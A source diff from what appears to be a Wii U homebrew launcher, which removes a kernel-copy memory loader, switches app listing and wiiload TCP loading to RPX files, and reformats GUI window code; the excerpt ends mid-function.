@ -1,85 +0,0 @@
|
||||
#include <string.h>
|
||||
#include <coreinit/cache.h>
|
||||
#include <coreinit/memory.h>
|
||||
#include "common/common.h"
|
||||
#include "system/memory_area_table.h"
|
||||
#include "utils/utils.h"
|
||||
#include "utils/logger.h"
|
||||
|
||||
static s_mem_area *mem_map = 0;
|
||||
static u32 mapPosition = 0;
|
||||
|
||||
void HomebrewInitMemory(void)
|
||||
{
|
||||
memoryInitAreaTable();
|
||||
|
||||
mem_map = MEM_AREA_TABLE;
|
||||
mapPosition = 0;
|
||||
|
||||
ELF_DATA_ADDR = 0;
|
||||
ELF_DATA_SIZE = 0;
|
||||
RPX_MAX_SIZE = 0x40000000;
|
||||
RPX_MAX_CODE_SIZE = 0x03000000;
|
||||
}
|
||||
|
||||
int HomebrewCopyMemory(u8 *address, u32 bytes)
|
||||
{
|
||||
if(ELF_DATA_SIZE == 0)
|
||||
{
|
||||
// check if we load an RPX or an ELF
|
||||
if(*(u16*)&address[7] != 0xCAFE)
|
||||
{
|
||||
// assume ELF
|
||||
ELF_DATA_ADDR = (u32)APP_BASE_MEM;
|
||||
}
|
||||
else
|
||||
{
|
||||
// RPX
|
||||
ELF_DATA_ADDR = MEM_AREA_TABLE->address;
|
||||
}
|
||||
}
|
||||
|
||||
//! if we load an ELF file
|
||||
if(ELF_DATA_ADDR < 0x01000000)
|
||||
{
|
||||
u32 targetAddress = ELF_DATA_ADDR + ELF_DATA_SIZE;
|
||||
if((targetAddress + bytes) > 0x01000000)
|
||||
return -1;
|
||||
|
||||
memcpy((void*)(targetAddress + ELF_DATA_SIZE), address, bytes);
|
||||
ELF_DATA_SIZE += bytes;
|
||||
}
|
||||
else
|
||||
{
|
||||
DCFlushRange(address, bytes);
|
||||
|
||||
u32 done = 0;
|
||||
u32 addressPhysical = (u32)OSEffectiveToPhysical(address);
|
||||
|
||||
while((done < bytes) && mem_map)
|
||||
{
|
||||
if(mapPosition >= mem_map->size)
|
||||
{
|
||||
mem_map = mem_map->next;
|
||||
if(!mem_map)
|
||||
return -1;
|
||||
|
||||
mapPosition = 0;
|
||||
}
|
||||
|
||||
u32 blockSize = bytes - done;
|
||||
if((mapPosition + blockSize) > mem_map->size)
|
||||
{
|
||||
blockSize = mem_map->size - mapPosition;
|
||||
}
|
||||
|
||||
SC0x25_KernelCopyData(mem_map->address + mapPosition, (addressPhysical + done), blockSize);
|
||||
|
||||
mapPosition += blockSize;
|
||||
done += blockSize;
|
||||
}
|
||||
|
||||
ELF_DATA_SIZE += done;
|
||||
}
|
||||
return bytes;
|
||||
}
|
@ -1,7 +0,0 @@
|
||||
#ifndef HOMEBREW_MEMORY_H_
|
||||
#define HOMEBREW_MEMORY_H_
|
||||
|
||||
void HomebrewInitMemory(void);
|
||||
int HomebrewCopyMemory(u8 *address, u32 bytes);
|
||||
|
||||
#endif
|
@ -18,11 +18,14 @@
|
||||
#include "common/common.h"
|
||||
#include "Application.h"
|
||||
#include "fs/DirList.h"
|
||||
#include "fs/fs_utils.h"
|
||||
#include "fs/FSUtils.h"
|
||||
#include "system/AsyncDeleter.h"
|
||||
#include "utils/HomebrewXML.h"
|
||||
#include "utils/utils.h"
|
||||
#include "utils/logger.h"
|
||||
#include "HomebrewLaunchWindow.h"
|
||||
#include "HomebrewLoader.h"
|
||||
#include <sysapp/launch.h>
|
||||
|
||||
#define DEFAULT_WIILOAD_PORT 4299
|
||||
|
||||
@ -43,8 +46,7 @@ HomebrewWindow::HomebrewWindow(int w, int h)
|
||||
, wpadTouchTrigger(GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5, GuiTrigger::BUTTON_A)
|
||||
, buttonLTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_L | GuiTrigger::BUTTON_LEFT, true)
|
||||
, buttonRTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_R | GuiTrigger::BUTTON_RIGHT, true)
|
||||
, tcpReceiver(DEFAULT_WIILOAD_PORT)
|
||||
{
|
||||
, tcpReceiver(DEFAULT_WIILOAD_PORT) {
|
||||
tcpReceiver.serverReceiveStart.connect(this, &HomebrewWindow::OnTcpReceiveStart);
|
||||
tcpReceiver.serverReceiveFinished.connect(this, &HomebrewWindow::OnTcpReceiveFinish);
|
||||
|
||||
@ -52,15 +54,18 @@ HomebrewWindow::HomebrewWindow(int w, int h)
|
||||
currentLeftPosition = 0;
|
||||
listOffset = 0;
|
||||
|
||||
DirList dirList("fs:/vol/external01/wiiu/apps", ".elf,.rpx", DirList::Files | DirList::CheckSubfolders, 1);
|
||||
DirList dirList("fs:/vol/external01/wiiu/apps", ".rpx", DirList::Files | DirList::CheckSubfolders, 1);
|
||||
|
||||
dirList.SortList();
|
||||
|
||||
for(int i = 0; i < dirList.GetFilecount(); i++)
|
||||
{
|
||||
for(int i = 0; i < dirList.GetFilecount(); i++) {
|
||||
//! skip our own application in the listing
|
||||
if(strcasecmp(dirList.GetFilename(i), "homebrew_launcher.elf") == 0)
|
||||
continue;
|
||||
//! skip our own application in the listing
|
||||
if(strcasecmp(dirList.GetFilename(i), "homebrew_launcher.rpx") == 0)
|
||||
continue;
|
||||
|
||||
|
||||
//! skip hidden linux and mac files
|
||||
if(dirList.GetFilename(i)[0] == '.' || dirList.GetFilename(i)[0] == '_')
|
||||
@ -79,13 +84,12 @@ HomebrewWindow::HomebrewWindow(int w, int h)
|
||||
if(slashPos != std::string::npos)
|
||||
homebrewPath.erase(slashPos);
|
||||
|
||||
u8 * iconData = NULL;
|
||||
u32 iconDataSize = 0;
|
||||
uint8_t * iconData = NULL;
|
||||
uint32_t iconDataSize = 0;
|
||||
|
||||
LoadFileToMem((homebrewPath + "/icon.png").c_str(), &iconData, &iconDataSize);
|
||||
FSUtils::LoadFileToMem((homebrewPath + "/icon.png").c_str(), &iconData, &iconDataSize);
|
||||
|
||||
if(iconData != NULL)
|
||||
{
|
||||
if(iconData != NULL) {
|
||||
homebrewButtons[idx].iconImgData = new GuiImageData(iconData, iconDataSize);
|
||||
free(iconData);
|
||||
iconData = NULL;
|
||||
@ -106,7 +110,7 @@ HomebrewWindow::HomebrewWindow(int w, int h)
|
||||
const char *cpDescription = xmlReadSuccess ? metaXml.GetShortDescription() : "";
|
||||
|
||||
if(strncmp(cpName, "fs:/vol/external01/wiiu/apps/", strlen("fs:/vol/external01/wiiu/apps/")) == 0)
|
||||
cpName += strlen("fs:/vol/external01/wiiu/apps/");
|
||||
cpName += strlen("fs:/vol/external01/wiiu/apps/");
|
||||
|
||||
homebrewButtons[idx].nameLabel = new GuiText(cpName, 32, glm::vec4(1.0f));
|
||||
homebrewButtons[idx].nameLabel->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE);
|
||||
@ -137,8 +141,7 @@ HomebrewWindow::HomebrewWindow(int w, int h)
|
||||
}
|
||||
|
||||
|
||||
if((MAX_BUTTONS_ON_PAGE) < homebrewButtons.size())
|
||||
{
|
||||
if((MAX_BUTTONS_ON_PAGE) < homebrewButtons.size()) {
|
||||
arrowLeftButton.setImage(&arrowLeftImage);
|
||||
arrowLeftButton.setEffectGrow();
|
||||
arrowLeftButton.setPosition(40, 0);
|
||||
@ -166,10 +169,8 @@ HomebrewWindow::HomebrewWindow(int w, int h)
|
||||
append(&hblVersionText);
|
||||
}
|
||||
|
||||
HomebrewWindow::~HomebrewWindow()
|
||||
{
|
||||
for(u32 i = 0; i < homebrewButtons.size(); ++i)
|
||||
{
|
||||
HomebrewWindow::~HomebrewWindow() {
|
||||
for(uint32_t i = 0; i < homebrewButtons.size(); ++i) {
|
||||
delete homebrewButtons[i].image;
|
||||
delete homebrewButtons[i].nameLabel;
|
||||
delete homebrewButtons[i].descriptionLabel;
|
||||
@ -184,40 +185,33 @@ HomebrewWindow::~HomebrewWindow()
|
||||
Resources::RemoveImageData(arrowLeftImageData);
|
||||
}
|
||||
|
||||
void HomebrewWindow::OnOpenEffectFinish(GuiElement *element)
|
||||
{
|
||||
void HomebrewWindow::OnOpenEffectFinish(GuiElement *element) {
|
||||
//! once the menu is open reset its state and allow it to be "clicked/hold"
|
||||
element->effectFinished.disconnect(this);
|
||||
element->clearState(GuiElement::STATE_DISABLED);
|
||||
}
|
||||
|
||||
void HomebrewWindow::OnCloseEffectFinish(GuiElement *element)
|
||||
{
|
||||
void HomebrewWindow::OnCloseEffectFinish(GuiElement *element) {
|
||||
//! remove element from draw list and push to delete queue
|
||||
remove(element);
|
||||
AsyncDeleter::pushForDelete(element);
|
||||
|
||||
for(u32 i = 0; i < homebrewButtons.size(); i++)
|
||||
{
|
||||
for(uint32_t i = 0; i < homebrewButtons.size(); i++) {
|
||||
homebrewButtons[i].button->clearState(GuiElement::STATE_DISABLED);
|
||||
}
|
||||
}
|
||||
|
||||
void HomebrewWindow::OnLaunchBoxCloseClick(GuiElement *element)
|
||||
{
|
||||
void HomebrewWindow::OnLaunchBoxCloseClick(GuiElement *element) {
|
||||
element->setState(GuiElement::STATE_DISABLED);
|
||||
element->setEffect(EFFECT_FADE, -10, 0);
|
||||
element->effectFinished.connect(this, &HomebrewWindow::OnCloseEffectFinish);
|
||||
}
|
||||
|
||||
void HomebrewWindow::OnHomebrewButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)
|
||||
{
|
||||
void HomebrewWindow::OnHomebrewButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) {
|
||||
bool disableButtons = false;
|
||||
|
||||
for(u32 i = 0; i < homebrewButtons.size(); i++)
|
||||
{
|
||||
if(button == homebrewButtons[i].button)
|
||||
{
|
||||
for(uint32_t i = 0; i < homebrewButtons.size(); i++) {
|
||||
if(button == homebrewButtons[i].button) {
|
||||
HomebrewLaunchWindow * launchBox = new HomebrewLaunchWindow(homebrewButtons[i].execPath, homebrewButtons[i].iconImgData);
|
||||
launchBox->setEffect(EFFECT_FADE, 10, 255);
|
||||
launchBox->setState(GuiElement::STATE_DISABLED);
|
||||
@ -231,19 +225,15 @@ void HomebrewWindow::OnHomebrewButtonClick(GuiButton *button, const GuiControlle
|
||||
}
|
||||
|
||||
|
||||
if(disableButtons)
|
||||
{
|
||||
for(u32 i = 0; i < homebrewButtons.size(); i++)
|
||||
{
|
||||
if(disableButtons) {
|
||||
for(uint32_t i = 0; i < homebrewButtons.size(); i++) {
|
||||
homebrewButtons[i].button->setState(GuiElement::STATE_DISABLED);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void HomebrewWindow::OnLeftArrowClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)
|
||||
{
|
||||
if(listOffset > 0)
|
||||
{
|
||||
void HomebrewWindow::OnLeftArrowClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) {
|
||||
if(listOffset > 0) {
|
||||
listOffset--;
|
||||
targetLeftPosition = -listOffset * getWidth();
|
||||
|
||||
@ -253,10 +243,8 @@ void HomebrewWindow::OnLeftArrowClick(GuiButton *button, const GuiController *co
|
||||
}
|
||||
}
|
||||
|
||||
void HomebrewWindow::OnRightArrowClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)
|
||||
{
|
||||
if((listOffset * MAX_BUTTONS_ON_PAGE) < (int)homebrewButtons.size())
|
||||
{
|
||||
void HomebrewWindow::OnRightArrowClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) {
|
||||
if((listOffset * MAX_BUTTONS_ON_PAGE) < (int)homebrewButtons.size()) {
|
||||
listOffset++;
|
||||
targetLeftPosition = -listOffset * getWidth();
|
||||
|
||||
@ -267,21 +255,17 @@ void HomebrewWindow::OnRightArrowClick(GuiButton *button, const GuiController *c
|
||||
}
|
||||
}
|
||||
|
||||
void HomebrewWindow::draw(CVideo *pVideo)
|
||||
{
|
||||
void HomebrewWindow::draw(CVideo *pVideo) {
|
||||
bool bUpdatePositions = false;
|
||||
|
||||
if(currentLeftPosition < targetLeftPosition)
|
||||
{
|
||||
if(currentLeftPosition < targetLeftPosition) {
|
||||
currentLeftPosition += 35;
|
||||
|
||||
if(currentLeftPosition > targetLeftPosition)
|
||||
currentLeftPosition = targetLeftPosition;
|
||||
|
||||
bUpdatePositions = true;
|
||||
}
|
||||
else if(currentLeftPosition > targetLeftPosition)
|
||||
{
|
||||
} else if(currentLeftPosition > targetLeftPosition) {
|
||||
currentLeftPosition -= 35;
|
||||
|
||||
if(currentLeftPosition < targetLeftPosition)
|
||||
@ -290,12 +274,10 @@ void HomebrewWindow::draw(CVideo *pVideo)
|
||||
bUpdatePositions = true;
|
||||
}
|
||||
|
||||
if(bUpdatePositions)
|
||||
{
|
||||
if(bUpdatePositions) {
|
||||
bUpdatePositions = false;
|
||||
|
||||
for(u32 i = 0; i < homebrewButtons.size(); i++)
|
||||
{
|
||||
for(uint32_t i = 0; i < homebrewButtons.size(); i++) {
|
||||
float fXOffset = (i / MAX_BUTTONS_ON_PAGE) * getWidth();
|
||||
float fYOffset = (homebrewButtons[i].image->getHeight() + 20.0f) * 1.5f - (homebrewButtons[i].image->getHeight() + 20) * (i % MAX_BUTTONS_ON_PAGE);
|
||||
homebrewButtons[i].button->setPosition(currentLeftPosition + fXOffset, fYOffset);
|
||||
@ -305,30 +287,29 @@ void HomebrewWindow::draw(CVideo *pVideo)
|
||||
GuiFrame::draw(pVideo);
|
||||
}
|
||||
|
||||
void HomebrewWindow::OnCloseTcpReceiverFinish(GuiElement *element)
|
||||
{
|
||||
void HomebrewWindow::OnCloseTcpReceiverFinish(GuiElement *element) {
|
||||
//! remove element from draw list and push to delete queue
|
||||
remove(element);
|
||||
clearState(STATE_DISABLED);
|
||||
}
|
||||
|
||||
void HomebrewWindow::OnTcpReceiveStart(GuiElement *element, u32 ip)
|
||||
{
|
||||
void HomebrewWindow::OnTcpReceiveStart(GuiElement *element, uint32_t ip) {
|
||||
element->setEffect(EFFECT_FADE, 15, 255);
|
||||
element->effectFinished.connect(this, &HomebrewWindow::OnOpenEffectFinish);
|
||||
append(element);
|
||||
}
|
||||
|
||||
void HomebrewWindow::OnTcpReceiveFinish(GuiElement *element, u32 ip, int result)
|
||||
{
|
||||
void HomebrewWindow::OnTcpReceiveFinish(GuiElement *element, uint32_t ip, int result) {
|
||||
element->setState(GuiElement::STATE_DISABLED);
|
||||
element->setEffect(EFFECT_FADE, -10, 0);
|
||||
element->effectFinished.connect(this, &HomebrewWindow::OnCloseTcpReceiverFinish);
|
||||
|
||||
if(result > 0)
|
||||
{
|
||||
log_printf("Launching homebrew, loaded to address %08X size %08X\n", ELF_DATA_ADDR, ELF_DATA_SIZE);
|
||||
Application::instance()->quit(EXIT_SUCCESS);
|
||||
if(result >= 0) {
|
||||
if(HomebrewLoader::loadToMemory(HBL_TEMP_RPX_FILE) > 0) {
|
||||
SYSRelaunchTitle(0,NULL);
|
||||
}
|
||||
} else {
|
||||
DEBUG_FUNCTION_LINE("TCP loading failed with error code %d\n", result);
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -21,8 +21,7 @@
|
||||
#include "gui/GuiFrame.h"
|
||||
#include "TcpReceiver.h"
|
||||
|
||||
class HomebrewWindow : public GuiFrame, public sigslot::has_slots<>
|
||||
{
|
||||
class HomebrewWindow : public GuiFrame, public sigslot::has_slots<> {
|
||||
public:
|
||||
HomebrewWindow(int w, int h);
|
||||
virtual ~HomebrewWindow();
|
||||
@ -38,8 +37,8 @@ private:
|
||||
void OnRightArrowClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);
|
||||
|
||||
void OnCloseTcpReceiverFinish(GuiElement *element);
|
||||
void OnTcpReceiveStart(GuiElement *element, u32 ip);
|
||||
void OnTcpReceiveFinish(GuiElement *element, u32 ip, int result);
|
||||
void OnTcpReceiveStart(GuiElement *element, uint32_t ip);
|
||||
void OnTcpReceiveFinish(GuiElement *element, uint32_t ip, int result);
|
||||
|
||||
GuiSound *buttonClickSound;
|
||||
GuiImageData * homebrewButtonImgData;
|
||||
@ -52,8 +51,7 @@ private:
|
||||
GuiButton arrowLeftButton;
|
||||
GuiText hblVersionText;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
typedef struct {
|
||||
std::string execPath;
|
||||
GuiImage *image;
|
||||
GuiButton *button;
|
||||
|
@ -23,20 +23,28 @@
|
||||
MainWindow::MainWindow(int w, int h)
|
||||
: width(w)
|
||||
, height(h)
|
||||
, bgImageColor(w, h, (GX2Color){ 0, 0, 0, 0 })
|
||||
, bgParticleImg(w, h, 500)
|
||||
, homebrewWindow(w, h)
|
||||
{
|
||||
bgImageColor.setImageColor((GX2Color){ 79, 153, 239, 255 }, 0);
|
||||
bgImageColor.setImageColor((GX2Color){ 79, 153, 239, 255 }, 1);
|
||||
bgImageColor.setImageColor((GX2Color){ 59, 159, 223, 255 }, 2);
|
||||
bgImageColor.setImageColor((GX2Color){ 59, 159, 223, 255 }, 3);
|
||||
, bgImageColor(w, h, (GX2Color) {
|
||||
0, 0, 0, 0
|
||||
})
|
||||
, bgParticleImg(w, h, 500, 30.0f,30.0f,0.2f,0.8f)
|
||||
, homebrewWindow(w, h) {
|
||||
bgImageColor.setImageColor((GX2Color) {
|
||||
79, 153, 239, 255
|
||||
}, 0);
|
||||
bgImageColor.setImageColor((GX2Color) {
|
||||
79, 153, 239, 255
|
||||
}, 1);
|
||||
bgImageColor.setImageColor((GX2Color) {
|
||||
59, 159, 223, 255
|
||||
}, 2);
|
||||
bgImageColor.setImageColor((GX2Color) {
|
||||
59, 159, 223, 255
|
||||
}, 3);
|
||||
append(&bgImageColor);
|
||||
append(&bgParticleImg);
|
||||
|
||||
for(int i = 0; i < 4; i++)
|
||||
{
|
||||
std::string filename = strfmt("player%i_point.png", i+1);
|
||||
for(int i = 0; i < 4; i++) {
|
||||
std::string filename = StringTools::strfmt("player%i_point.png", i+1);
|
||||
pointerImgData[i] = Resources::GetImageData(filename.c_str());
|
||||
pointerImg[i] = new GuiImage(pointerImgData[i]);
|
||||
pointerImg[i]->setScale(1.5f);
|
||||
@ -46,84 +54,69 @@ MainWindow::MainWindow(int w, int h)
|
||||
append(&homebrewWindow);
|
||||
}
|
||||
|
||||
MainWindow::~MainWindow()
|
||||
{
|
||||
MainWindow::~MainWindow() {
|
||||
remove(&homebrewWindow);
|
||||
remove(&bgImageColor);
|
||||
remove(&bgParticleImg);
|
||||
|
||||
while(!tvElements.empty())
|
||||
{
|
||||
while(!tvElements.empty()) {
|
||||
delete tvElements[0];
|
||||
remove(tvElements[0]);
|
||||
}
|
||||
while(!drcElements.empty())
|
||||
{
|
||||
while(!drcElements.empty()) {
|
||||
delete drcElements[0];
|
||||
remove(drcElements[0]);
|
||||
}
|
||||
for(int i = 0; i < 4; i++)
|
||||
{
|
||||
for(int i = 0; i < 4; i++) {
|
||||
delete pointerImg[i];
|
||||
Resources::RemoveImageData(pointerImgData[i]);
|
||||
}
|
||||
}
|
||||
|
||||
void MainWindow::updateEffects()
|
||||
{
|
||||
void MainWindow::updateEffects() {
|
||||
//! dont read behind the initial elements in case one was added
|
||||
u32 tvSize = tvElements.size();
|
||||
u32 drcSize = drcElements.size();
|
||||
uint32_t tvSize = tvElements.size();
|
||||
uint32_t drcSize = drcElements.size();
|
||||
|
||||
for(u32 i = 0; (i < drcSize) && (i < drcElements.size()); ++i)
|
||||
{
|
||||
for(uint32_t i = 0; (i < drcSize) && (i < drcElements.size()); ++i) {
|
||||
drcElements[i]->updateEffects();
|
||||
}
|
||||
|
||||
//! only update TV elements that are not updated yet because they are on DRC
|
||||
for(u32 i = 0; (i < tvSize) && (i < tvElements.size()); ++i)
|
||||
{
|
||||
u32 n;
|
||||
for(n = 0; (n < drcSize) && (n < drcElements.size()); n++)
|
||||
{
|
||||
for(uint32_t i = 0; (i < tvSize) && (i < tvElements.size()); ++i) {
|
||||
uint32_t n;
|
||||
for(n = 0; (n < drcSize) && (n < drcElements.size()); n++) {
|
||||
if(tvElements[i] == drcElements[n])
|
||||
break;
|
||||
}
|
||||
if(n == drcElements.size())
|
||||
{
|
||||
if(n == drcElements.size()) {
|
||||
tvElements[i]->updateEffects();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void MainWindow::update(GuiController *controller)
|
||||
{
|
||||
void MainWindow::update(GuiController *controller) {
|
||||
//! dont read behind the initial elements in case one was added
|
||||
//u32 tvSize = tvElements.size();
|
||||
//uint32_t tvSize = tvElements.size();
|
||||
|
||||
if(controller->chan & GuiTrigger::CHANNEL_1)
|
||||
{
|
||||
u32 drcSize = drcElements.size();
|
||||
if(controller->chan & GuiTrigger::CHANNEL_1) {
|
||||
uint32_t drcSize = drcElements.size();
|
||||
|
||||
for(u32 i = 0; (i < drcSize) && (i < drcElements.size()); ++i)
|
||||
{
|
||||
for(uint32_t i = 0; (i < drcSize) && (i < drcElements.size()); ++i) {
|
||||
drcElements[i]->update(controller);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
u32 tvSize = tvElements.size();
|
||||
} else {
|
||||
uint32_t tvSize = tvElements.size();
|
||||
|
||||
for(u32 i = 0; (i < tvSize) && (i < tvElements.size()); ++i)
|
||||
{
|
||||
for(uint32_t i = 0; (i < tvSize) && (i < tvElements.size()); ++i) {
|
||||
tvElements[i]->update(controller);
|
||||
}
|
||||
}
|
||||
|
||||
// //! only update TV elements that are not updated yet because they are on DRC
|
||||
// for(u32 i = 0; (i < tvSize) && (i < tvElements.size()); ++i)
|
||||
// for(uint32_t i = 0; (i < tvSize) && (i < tvElements.size()); ++i)
|
||||
// {
|
||||
// u32 n;
|
||||
// uint32_t n;
|
||||
// for(n = 0; (n < drcSize) && (n < drcElements.size()); n++)
|
||||
// {
|
||||
// if(tvElements[i] == drcElements[n])
|
||||
@ -135,28 +128,23 @@ void MainWindow::update(GuiController *controller)
|
||||
// }
|
||||
// }
|
||||
|
||||
if(controller->chanIdx >= 1 && controller->chanIdx <= 4 && controller->data.validPointer)
|
||||
{
|
||||
if(controller->chanIdx >= 1 && controller->chanIdx <= 4 && controller->data.validPointer) {
|
||||
int wpadIdx = controller->chanIdx - 1;
|
||||
f32 posX = controller->data.x;
|
||||
f32 posY = controller->data.y;
|
||||
float posX = controller->data.x;
|
||||
float posY = controller->data.y;
|
||||
pointerImg[wpadIdx]->setPosition(posX, posY);
|
||||
pointerImg[wpadIdx]->setAngle(controller->data.pointerAngle);
|
||||
pointerValid[wpadIdx] = true;
|
||||
}
|
||||
}
|
||||
|
||||
void MainWindow::drawDrc(CVideo *video)
|
||||
{
|
||||
for(u32 i = 0; i < drcElements.size(); ++i)
|
||||
{
|
||||
void MainWindow::drawDrc(CVideo *video) {
|
||||
for(uint32_t i = 0; i < drcElements.size(); ++i) {
|
||||
drcElements[i]->draw(video);
|
||||
}
|
||||
|
||||
for(int i = 0; i < 4; i++)
|
||||
{
|
||||
if(pointerValid[i])
|
||||
{
|
||||
for(int i = 0; i < 4; i++) {
|
||||
if(pointerValid[i]) {
|
||||
pointerImg[i]->setAlpha(0.5f);
|
||||
pointerImg[i]->draw(video);
|
||||
pointerImg[i]->setAlpha(1.0f);
|
||||
@ -164,17 +152,13 @@ void MainWindow::drawDrc(CVideo *video)
|
||||
}
|
||||
}
|
||||
|
||||
void MainWindow::drawTv(CVideo *video)
|
||||
{
|
||||
for(u32 i = 0; i < tvElements.size(); ++i)
|
||||
{
|
||||
void MainWindow::drawTv(CVideo *video) {
|
||||
for(uint32_t i = 0; i < tvElements.size(); ++i) {
|
||||
tvElements[i]->draw(video);
|
||||
}
|
||||
|
||||
for(int i = 0; i < 4; i++)
|
||||
{
|
||||
if(pointerValid[i])
|
||||
{
|
||||
for(int i = 0; i < 4; i++) {
|
||||
if(pointerValid[i]) {
|
||||
pointerImg[i]->draw(video);
|
||||
pointerValid[i] = false;
|
||||
}
|
||||
|
@ -25,22 +25,19 @@
|
||||
|
||||
class CVideo;
|
||||
|
||||
class MainWindow : public sigslot::has_slots<>
|
||||
{
|
||||
class MainWindow : public sigslot::has_slots<> {
|
||||
public:
|
||||
MainWindow(int w, int h);
|
||||
virtual ~MainWindow();
|
||||
|
||||
void appendTv(GuiElement *e)
|
||||
{
|
||||
void appendTv(GuiElement *e) {
|
||||
if(!e)
|
||||
return;
|
||||
|
||||
removeTv(e);
|
||||
tvElements.push_back(e);
|
||||
}
|
||||
void appendDrc(GuiElement *e)
|
||||
{
|
||||
void appendDrc(GuiElement *e) {
|
||||
if(!e)
|
||||
return;
|
||||
|
||||
@ -48,22 +45,19 @@ public:
|
||||
drcElements.push_back(e);
|
||||
}
|
||||
|
||||
void append(GuiElement *e)
|
||||
{
|
||||
void append(GuiElement *e) {
|
||||
appendTv(e);
|
||||
appendDrc(e);
|
||||
}
|
||||
|
||||
void insertTv(u32 pos, GuiElement *e)
|
||||
{
|
||||
void insertTv(uint32_t pos, GuiElement *e) {
|
||||
if(!e)
|
||||
return;
|
||||
|
||||
removeTv(e);
|
||||
tvElements.insert(tvElements.begin() + pos, e);
|
||||
}
|
||||
void insertDrc(u32 pos, GuiElement *e)
|
||||
{
|
||||
void insertDrc(uint32_t pos, GuiElement *e) {
|
||||
if(!e)
|
||||
return;
|
||||
|
||||
@ -71,42 +65,33 @@ public:
|
||||
drcElements.insert(drcElements.begin() + pos, e);
|
||||
}
|
||||
|
||||
void insert(u32 pos, GuiElement *e)
|
||||
{
|
||||
void insert(uint32_t pos, GuiElement *e) {
|
||||
insertTv(pos, e);
|
||||
insertDrc(pos, e);
|
||||
}
|
||||
|
||||
void removeTv(GuiElement *e)
|
||||
{
|
||||
for(u32 i = 0; i < tvElements.size(); ++i)
|
||||
{
|
||||
if(e == tvElements[i])
|
||||
{
|
||||
void removeTv(GuiElement *e) {
|
||||
for(uint32_t i = 0; i < tvElements.size(); ++i) {
|
||||
if(e == tvElements[i]) {
|
||||
tvElements.erase(tvElements.begin() + i);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
void removeDrc(GuiElement *e)
|
||||
{
|
||||
for(u32 i = 0; i < drcElements.size(); ++i)
|
||||
{
|
||||
if(e == drcElements[i])
|
||||
{
|
||||
void removeDrc(GuiElement *e) {
|
||||
for(uint32_t i = 0; i < drcElements.size(); ++i) {
|
||||
if(e == drcElements[i]) {
|
||||
drcElements.erase(drcElements.begin() + i);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void remove(GuiElement *e)
|
||||
{
|
||||
void remove(GuiElement *e) {
|
||||
removeTv(e);
|
||||
removeDrc(e);
|
||||
}
|
||||
void removeAll()
|
||||
{
|
||||
void removeAll() {
|
||||
tvElements.clear();
|
||||
drcElements.clear();
|
||||
}
|
||||
|
@ -15,15 +15,18 @@
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
****************************************************************************/
|
||||
#include "ProgressWindow.h"
|
||||
#include "video/CVideo.h"
|
||||
#include <gui/video/CVideo.h>
|
||||
|
||||
ProgressWindow::ProgressWindow(const std::string & title)
|
||||
: GuiFrame(0, 0)
|
||||
, bgImageData(Resources::GetImageData("progressWindow.png"))
|
||||
, bgImage(bgImageData)
|
||||
, progressImageBlack(bgImage.getWidth(), bgImage.getHeight()/2, (GX2Color){0, 0, 0, 255})
|
||||
, progressImageColored(bgImage.getWidth(), bgImage.getHeight()/2, (GX2Color){0, 0, 0, 255})
|
||||
{
|
||||
, progressImageBlack(bgImage.getWidth(), bgImage.getHeight()/2, (GX2Color) {
|
||||
0, 0, 0, 255
|
||||
})
|
||||
, progressImageColored(bgImage.getWidth(), bgImage.getHeight()/2, (GX2Color) {
|
||||
0, 0, 0, 255
|
||||
}) {
|
||||
titleChanged = false;
|
||||
currentTitle = title;
|
||||
width = bgImage.getWidth();
|
||||
@ -34,10 +37,18 @@ ProgressWindow::ProgressWindow(const std::string & title)
|
||||
append(&bgImage);
|
||||
|
||||
progressImageColored.setAlignment(ALIGN_TOP_LEFT);
|
||||
progressImageColored.setImageColor((GX2Color){ 42, 159, 217, 255}, 0);
|
||||
progressImageColored.setImageColor((GX2Color){ 42, 159, 217, 255}, 1);
|
||||
progressImageColored.setImageColor((GX2Color){ 13, 104, 133, 255}, 2);
|
||||
progressImageColored.setImageColor((GX2Color){ 13, 104, 133, 255}, 3);
|
||||
progressImageColored.setImageColor((GX2Color) {
|
||||
42, 159, 217, 255
|
||||
}, 0);
|
||||
progressImageColored.setImageColor((GX2Color) {
|
||||
42, 159, 217, 255
|
||||
}, 1);
|
||||
progressImageColored.setImageColor((GX2Color) {
|
||||
13, 104, 133, 255
|
||||
}, 2);
|
||||
progressImageColored.setImageColor((GX2Color) {
|
||||
13, 104, 133, 255
|
||||
}, 3);
|
||||
|
||||
titleText.setColor(glm::vec4(1.0f, 1.0f, 1.0f, 1.0f));
|
||||
titleText.setFontSize(36);
|
||||
@ -53,28 +64,23 @@ ProgressWindow::ProgressWindow(const std::string & title)
|
||||
setProgress(0.0f);
|
||||
}
|
||||
|
||||
ProgressWindow::~ProgressWindow()
|
||||
{
|
||||
ProgressWindow::~ProgressWindow() {
|
||||
Resources::RemoveImageData(bgImageData);
|
||||
}
|
||||
|
||||
void ProgressWindow::setTitle(const std::string & title)
|
||||
{
|
||||
void ProgressWindow::setTitle(const std::string & title) {
|
||||
titleMutex.lock();
|
||||
currentTitle = title;
|
||||
titleChanged = true;
|
||||
titleMutex.unlock();
|
||||
}
|
||||
|
||||
void ProgressWindow::setProgress(f32 percent)
|
||||
{
|
||||
void ProgressWindow::setProgress(float percent) {
|
||||
progressImageColored.setSize(percent * 0.01f * progressImageBlack.getWidth(), progressImageColored.getHeight());
|
||||
}
|
||||
|
||||
void ProgressWindow::draw(CVideo * v)
|
||||
{
|
||||
if(titleChanged)
|
||||
{
|
||||
